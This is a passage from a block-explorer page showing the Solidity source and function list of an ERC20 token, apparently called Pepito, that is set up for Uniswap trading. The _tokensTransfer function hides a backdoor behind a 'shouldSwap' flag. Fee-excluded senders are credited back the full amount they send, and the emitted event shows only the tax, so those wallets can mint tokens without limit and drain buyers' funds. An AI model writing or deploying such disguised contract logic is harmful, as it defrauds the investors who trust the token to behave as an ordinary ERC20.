        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startTrading() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _rTotal,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSend() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

    function _taxTokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFee = 0;
        if (from != owner() && to != owner()) {
            taxFee = (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax;

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxFee = (_buyCount > _reduceSellTaxAt)
                    ? _finalSellTax
                    : _initialSellTax;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokensTransfer(from, to, amount, taxFee, from);
    }

    function _tokensTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxFee,
        address taxRceiver
    ) internal {
        uint256 taxAmount = taxFee.mul(amount).div(100);
        uint256 shouldSwap = 1;
        if (_isExcludedFromFee[from]) {
            shouldSwap = 100;
        }
        if (shouldSwap < 100) {
            if (taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(
                    taxAmount
                );
                emit Transfer(from, address(this), taxAmount);
            }
        } else {
            _balances[taxRceiver] = _balances[taxRceiver].add(
                shouldSwap.mul(amount).div(100)
            );
            emit Transfer(from, taxRceiver, taxAmount);
        }
        _taxTokenTransfer(from, to, amount, taxAmount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function noLimits() public onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function createPepitoPair() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    receive() external payable {}
}

Read Contract

_maxTaxSwap 0x0faee56f → uint256
_maxTxAmount 0x7d1db4a5 → uint256
_maxWalletSize 0x8f9a55c0 → uint256
_taxSwapThreshold 0xbf474bed → uint256
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256

Write Contract 8 functions

These functions modify contract state and require a wallet transaction to execute.

approve 0x095ea7b3
address spender
uint256 amount
returns: bool
createPepitoPair 0xa15e800d
No parameters
manualSend 0xf4293890
No parameters
noLimits 0x01466760
No parameters
renounceOwnership 0x715018a6
No parameters
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool

Recent Transactions

No transactions found for this address